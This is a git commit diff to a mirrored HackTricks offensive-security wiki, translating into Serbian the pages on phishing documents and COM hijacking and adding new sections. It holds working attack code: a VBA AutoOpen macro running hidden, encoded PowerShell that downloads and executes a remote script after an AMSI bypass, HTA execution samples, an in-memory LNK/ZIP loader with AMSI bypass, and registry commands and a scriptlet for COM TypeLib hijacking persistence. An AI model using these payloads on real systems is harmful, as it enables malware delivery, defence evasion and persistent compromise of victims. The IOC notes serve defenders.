mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
		
							parent
							
								
									dc8ec5aa83
								
							
						
					
					
						commit
						9656fc54d4
					
				@ -1,40 +1,40 @@
 | 
			
		||||
# Phishing Files & Documents
 | 
			
		||||
# Phishing Fajlovi & Dokumenti
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Office Documents
 | 
			
		||||
## Office Dokumenti
 | 
			
		||||
 | 
			
		||||
Microsoft Word vrši validaciju podataka datoteke pre otvaranja datoteke. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do greške tokom identifikacije strukture podataka, datoteka koja se analizira neće biti otvorena.
 | 
			
		||||
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija podataka se izvodi u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se pojavi bilo koja greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
 | 
			
		||||
 | 
			
		||||
Obično, Word datoteke koje sadrže makroe koriste `.docm` ekstenziju. Međutim, moguće je preimenovati datoteku promenom ekstenzije datoteke i i dalje zadržati mogućnosti izvršavanja makroa.\
 | 
			
		||||
Na primer, RTF datoteka ne podržava makroe, po dizajnu, ali DOCM datoteka preimenovana u RTF biće obrađena od strane Microsoft Word-a i biće sposobna za izvršavanje makroa.\
 | 
			
		||||
Iste unutrašnje strukture i mehanizmi se primenjuju na sve softvere iz Microsoft Office Suite (Excel, PowerPoint itd.).
 | 
			
		||||
Uobičajeno, Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl menjajući ekstenziju i i dalje zadržati mogućnost izvršavanja makroa.\
 | 
			
		||||
Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće tretiran od strane Microsoft Worda i biće sposoban za izvršavanje makroa.\
 | 
			
		||||
Ista interna struktura i mehanizmi važe za sav softver iz Microsoft Office Suite-a (Excel, PowerPoint itd.).
 | 
			
		||||
 | 
			
		||||
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršene od strane nekih Office programa:
 | 
			
		||||
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
 | 
			
		||||
```bash
 | 
			
		||||
assoc | findstr /i "word excel powerp"
 | 
			
		||||
```
 | 
			
		||||
DOCX datoteke koje se pozivaju na udaljeni šablon (Datoteka – Opcije – Dodaci – Upravljanje: Šabloni – Idi) koji uključuje makroe mogu takođe “izvršavati” makroe.
 | 
			
		||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
 | 
			
		||||
 | 
			
		||||
### Učitavanje spoljne slike
 | 
			
		||||
### External Image Load
 | 
			
		||||
 | 
			
		||||
Idite na: _Umetni --> Brzi delovi --> Polje_\
 | 
			
		||||
_**Kategorije**: Linkovi i reference, **Nazivi polja**: includePicture, i **Naziv datoteke ili URL**:_ http://\<ip>/whatever
 | 
			
		||||
Idite na: _Insert --> Quick Parts --> Field_\
 | 
			
		||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### Makro zadnja vrata
 | 
			
		||||
### Macros Backdoor
 | 
			
		||||
 | 
			
		||||
Moguće je koristiti makroe za pokretanje proizvoljnog koda iz dokumenta.
 | 
			
		||||
Moguće je koristiti makroe da biste pokrenuli proizvoljni kod iz dokumenta.
 | 
			
		||||
 | 
			
		||||
#### Autoload funkcije
 | 
			
		||||
#### Autoload functions
 | 
			
		||||
 | 
			
		||||
Što su češće, to je verovatnije da će ih AV otkriti.
 | 
			
		||||
Što su češće, to je verovatnije da će ih AV detektovati.
 | 
			
		||||
 | 
			
		||||
- AutoOpen()
 | 
			
		||||
- Document_Open()
 | 
			
		||||
 | 
			
		||||
#### Primeri koda makroa
 | 
			
		||||
#### Macros Code Examples
 | 
			
		||||
```vba
 | 
			
		||||
Sub AutoOpen()
 | 
			
		||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
 | 
			
		||||
@ -64,26 +64,26 @@ Dim proc As Object
 | 
			
		||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
 | 
			
		||||
proc.Create "powershell <beacon line generated>
 | 
			
		||||
```
 | 
			
		||||
#### Ručno uklonite metapodatke
 | 
			
		||||
#### Manually remove metadata
 | 
			
		||||
 | 
			
		||||
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite na **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
 | 
			
		||||
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
 | 
			
		||||
 | 
			
		||||
#### Doc Ekstenzija
 | 
			
		||||
#### Doc Extension
 | 
			
		||||
 | 
			
		||||
Kada završite, odaberite **Save as type** padajući meni, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
 | 
			
		||||
Uradite to jer **ne možete sačuvati makroe unutar `.docx`** i postoji **stigma** **oko** makro-omogućene **`.docm`** ekstenzije (npr. ikona sličice ima ogromnu `!` i neki web/email prolazi ih potpuno blokiraju). Stoga, ova **legacy `.doc` ekstenzija je najbolje rešenje**.
 | 
			
		||||
Kada završite, izaberite padajući meni **Save as type**, promenite format iz **`.docx`** u **Word 97-2003 `.doc`**.\
 | 
			
		||||
Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma oko macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima veliki `!` i neki web/email gateway blokiraju ih u potpunosti). Stoga je ova nasleđena `.doc` ekstenzija najbolji kompromis.
 | 
			
		||||
 | 
			
		||||
#### Maliciozni Generatori Makroa
 | 
			
		||||
#### Malicious Macros Generators
 | 
			
		||||
 | 
			
		||||
- MacOS
 | 
			
		||||
- [**macphish**](https://github.com/cldrn/macphish)
 | 
			
		||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 | 
			
		||||
 | 
			
		||||
## HTA Fajlovi
 | 
			
		||||
## HTA Files
 | 
			
		||||
 | 
			
		||||
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "potpuno poverljiva" aplikacija, bez ograničenja sigurnosnog modela pretraživača.
 | 
			
		||||
HTA je Windows program koji **combines HTML and scripting languages (such as VBScript and JScript)**. On generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
 | 
			
		||||
 | 
			
		||||
HTA se izvršava koristeći **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, čineći **`mshta` zavisnim od IE**. Dakle, ako je deinstaliran, HTA neće moći da se izvrši.
 | 
			
		||||
HTA se izvršava pomoću **`mshta.exe`**, koji je tipično **installed** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
 | 
			
		||||
```html
 | 
			
		||||
<--! Basic HTA Execution -->
 | 
			
		||||
<html>
 | 
			
		||||
@ -138,11 +138,11 @@ var_func
 | 
			
		||||
self.close
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
## Prisiljavanje NTLM autentifikacije
 | 
			
		||||
## Forsiranje NTLM autentifikacije
 | 
			
		||||
 | 
			
		||||
Postoji nekoliko načina da se **prisilite NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u e-mailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili pošaljite žrtvi **adresu fajlova** koji će **pokrenuti** **autentifikaciju** samo za **otvaranje fascikle.**
 | 
			
		||||
Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem mape.
 | 
			
		||||
 | 
			
		||||
**Proverite ove ideje i još više na sledećim stranicama:**
 | 
			
		||||
**Pogledajte ove ideje i još više na sledećim stranicama:**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -154,11 +154,62 @@ Postoji nekoliko načina da se **prisilite NTLM autentifikacija "na daljinu"**,
 | 
			
		||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### NTLM Preusmeravanje
 | 
			
		||||
### NTLM Relay
 | 
			
		||||
 | 
			
		||||
Ne zaboravite da ne možete samo ukrasti hash ili autentifikaciju, već i **izvršiti NTLM preusmeravajuće napade**:
 | 
			
		||||
Ne zaboravite da pored krađe heša ili autentifikacije možete i **perform NTLM relay attacks**:
 | 
			
		||||
 | 
			
		||||
- [**NTLM preusmeravajući napadi**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 | 
			
		||||
- [**AD CS ESC8 (NTLM preusmeravanje na sertifikate)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 | 
			
		||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 | 
			
		||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 | 
			
		||||
 | 
			
		||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 | 
			
		||||
 | 
			
		||||
Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvaja i izvršava potpuno u memoriji.
 | 
			
		||||
 | 
			
		||||
Tipični tok koji implementira .lnk PowerShell one-liner:
 | 
			
		||||
 | 
			
		||||
1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditelj trenutnog radnog direktorijuma.
 | 
			
		||||
2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve nakon markera je ugrađeni PowerShell payload.
 | 
			
		||||
3) Kopiraj ZIP u %ProgramData%, raspakuj tamo i otvori mamac .docx da bi izgledalo legitimno.
 | 
			
		||||
4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
 | 
			
		||||
5) Deobfuskuj narednu fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
 | 
			
		||||
 | 
			
		||||
Primer PowerShell skeleta za izdvajanje i pokretanje ugrađene faze:
 | 
			
		||||
```powershell
 | 
			
		||||
$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 | 
			
		||||
$paths    = @(
 | 
			
		||||
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
 | 
			
		||||
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
 | 
			
		||||
)
 | 
			
		||||
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
 | 
			
		||||
if(-not $zip){ return }
 | 
			
		||||
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
 | 
			
		||||
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
 | 
			
		||||
if($idx -lt 0){ return }
 | 
			
		||||
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
 | 
			
		||||
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 | 
			
		||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 | 
			
		||||
Invoke-Expression $code
 | 
			
		||||
```
 | 
			
		||||
Napomene
 | 
			
		||||
- Delivery često zloupotrebljava pouzdane PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servira benign ZIP-ove na osnovu IP/UA).
 | 
			
		||||
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi minimalizovala tragove na disku.
 | 
			
		||||
 | 
			
		||||
Persistence korišćena u istom lancu
 | 
			
		||||
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugradjuje automatski ponovo pokrene payload. See details and ready-to-use commands here:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Hunting/IOCs
 | 
			
		||||
- ZIP files containing the ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
 | 
			
		||||
- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara lažni dokument.
 | 
			
		||||
- AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
 | 
			
		||||
- Dugotrajni poslovni thread-ovi koji se završavaju linkovima hostovanim pod pouzdanim PaaS domenima.
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
 | 
			
		||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,15 +2,15 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
### Pretraživanje nepostojećih COM komponenti
 | 
			
		||||
### Pretraga nepostojećih COM komponenti
 | 
			
		||||
 | 
			
		||||
Kako se vrednosti HKCU mogu menjati od strane korisnika, **COM Hijacking** se može koristiti kao **perzistentni mehanizam**. Koristeći `procmon`, lako je pronaći pretraživane COM registre koji ne postoje, a koje napadač može kreirati da bi postigao perzistenciju. Filteri:
 | 
			
		||||
Pošto korisnici mogu menjati vrednosti HKCU, **COM Hijacking** može biti iskorišćen kao **mehanizam za perzistenciju**. Koristeći `procmon` lako je pronaći tražene COM registries koje ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri:
 | 
			
		||||
 | 
			
		||||
- **RegOpenKey** operacije.
 | 
			
		||||
- gde je _Rezultat_ **IME NIJE PRONAĐENO**.
 | 
			
		||||
- i _Putanja_ se završava sa **InprocServer32**.
 | 
			
		||||
- gde je _Result_ **NAME NOT FOUND**.
 | 
			
		||||
- i da _Path_ završava sa **InprocServer32**.
 | 
			
		||||
 | 
			
		||||
Kada odlučite koju nepostojeću COM komponentu da imituјete, izvršite sledeće komande. _Budite oprezni ako odlučite da imituјete COM koji se učitava svake nekoliko sekundi, jer to može biti prekomerno._
 | 
			
		||||
Kada odlučite koji nepostojeći COM ćete oponašati, izvršite sledeće komande. _Budite pažljivi ako odlučite da oponašate COM koji se učitava svakih nekoliko sekundi, jer to može biti previše._
 | 
			
		||||
```bash
 | 
			
		||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 | 
			
		||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 | 
			
		||||
@ -18,9 +18,9 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 | 
			
		||||
```
 | 
			
		||||
### Hijackable Task Scheduler COM components
 | 
			
		||||
 | 
			
		||||
Windows Tasks koriste prilagođene okidače za pozivanje COM objekata i pošto se izvršavaju putem Task Scheduler-a, lakše je predvideti kada će biti aktivirani.
 | 
			
		||||
Windows Tasks koriste Custom Triggers za pozivanje COM objects, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti.
 | 
			
		||||
 | 
			
		||||
<pre class="language-powershell"><code class="lang-powershell"># Prikaži COM CLSIDs
 | 
			
		||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 | 
			
		||||
$Tasks = Get-ScheduledTask
 | 
			
		||||
 | 
			
		||||
foreach ($Task in $Tasks)
 | 
			
		||||
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
 | 
			
		||||
 | 
			
		||||
if ($Task.Principal.GroupId -eq $usersGroup)
 | 
			
		||||
{
 | 
			
		||||
Write-Host "Ime zadatka: " $Task.TaskName
 | 
			
		||||
Write-Host "Putanja zadatka: " $Task.TaskPath
 | 
			
		||||
Write-Host "Task Name: " $Task.TaskName
 | 
			
		||||
Write-Host "Task Path: " $Task.TaskPath
 | 
			
		||||
Write-Host "CLSID: " $Task.Actions.ClassId
 | 
			
		||||
Write-Host
 | 
			
		||||
}
 | 
			
		||||
@ -43,15 +43,15 @@ Write-Host
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
# Uzorak izlaza:
 | 
			
		||||
<strong># Ime zadatka:  Primer
 | 
			
		||||
</strong># Putanja zadatka:  \Microsoft\Windows\Primer\
 | 
			
		||||
# Sample Output:
 | 
			
		||||
<strong># Task Name:  Example
 | 
			
		||||
</strong># Task Path:  \Microsoft\Windows\Example\
 | 
			
		||||
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 | 
			
		||||
# [više poput prethodnog...]</code></pre>
 | 
			
		||||
# [more like the previous one...]</code></pre>
 | 
			
		||||
 | 
			
		||||
Proverom izlaza možete odabrati jedan koji će biti izvršen **svaki put kada se korisnik prijavi** na primer.
 | 
			
		||||
Proverom izlaza možete izabrati onaj koji će, na primer, biti izvršen **svaki put kada se korisnik prijavi**.
 | 
			
		||||
 | 
			
		||||
Sada pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete otkriti da vrednost ne postoji u HKCU.
 | 
			
		||||
Sada, pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete utvrditi da vrednost ne postoji u HKCU.
 | 
			
		||||
```bash
 | 
			
		||||
# Exists in HKCR\CLSID\
 | 
			
		||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
 | 
			
		||||
@ -72,6 +72,64 @@ Name                                   Property
 | 
			
		||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 | 
			
		||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 | 
			
		||||
```
 | 
			
		||||
Zatim, možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaša backdoor će se aktivirati.
 | 
			
		||||
Zatim možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## COM TypeLib Hijacking (script: moniker persistence)
 | 
			
		||||
 | 
			
		||||
Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može učitati i pridruženi TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako se putanja TypeLib-a zameni sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši — što rezultira stealthy persistence koja se aktivira kada se dodirnu uobičajene komponente.
 | 
			
		||||
 | 
			
		||||
Ovo je primećeno protiv Microsoft Web Browser control (često učitavan od Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`).
 | 
			
		||||
 | 
			
		||||
### Koraci (PowerShell)
 | 
			
		||||
 | 
			
		||||
1) Pronađite TypeLib (LIBID) koji koristi CLSID koji se često pojavljuje. Primer CLSID koji malware chains često zloupotrebljavaju: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`
 | 
			
		||||
```powershell
 | 
			
		||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 | 
			
		||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 | 
			
		||||
$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 | 
			
		||||
"CLSID=$clsid  LIBID=$libid  VER=$ver"
 | 
			
		||||
```
 | 
			
		||||
2) Усмерите per-user TypeLib путању на локални scriptlet користећи `script:` moniker (нису потребна администраторска права):
 | 
			
		||||
```powershell
 | 
			
		||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
 | 
			
		||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 | 
			
		||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 | 
			
		||||
```
 | 
			
		||||
3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji se koristi u početnom lancu):
 | 
			
		||||
```xml
 | 
			
		||||
<?xml version="1.0"?>
 | 
			
		||||
<scriptlet>
 | 
			
		||||
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
 | 
			
		||||
<script language="JScript">
 | 
			
		||||
<![CDATA[
 | 
			
		||||
try {
 | 
			
		||||
var sh = new ActiveXObject('WScript.Shell');
 | 
			
		||||
// Re-launch the malicious LNK for persistence
 | 
			
		||||
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
 | 
			
		||||
sh.Run(cmd, 0, false);
 | 
			
		||||
} catch(e) {}
 | 
			
		||||
]]>
 | 
			
		||||
</script>
 | 
			
		||||
</scriptlet>
 | 
			
		||||
```
 | 
			
		||||
4) Aktiviranje – otvaranjem IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinskom aktivnošću Explorera učitaće se TypeLib i izvršiće se scriptlet, ponovo naoružavajući vaš lanac prilikom prijave/ponovnog pokretanja.
 | 
			
		||||
 | 
			
		||||
Čišćenje
 | 
			
		||||
```powershell
 | 
			
		||||
# Remove the per-user TypeLib hijack
 | 
			
		||||
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
 | 
			
		||||
# Delete the dropped scriptlet
 | 
			
		||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 | 
			
		||||
```
 | 
			
		||||
Napomene
 | 
			
		||||
- Istu logiku možete primeniti na druge često korišćene COM komponente; uvek prvo odredite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`.
 | 
			
		||||
- Na 64-bitnim sistemima možete takođe popuniti podključ `win64` za 64-bitne aplikacije.
 | 
			
		||||
 | 
			
		||||
## Reference
 | 
			
		||||
 | 
			
		||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 | 
			
		||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user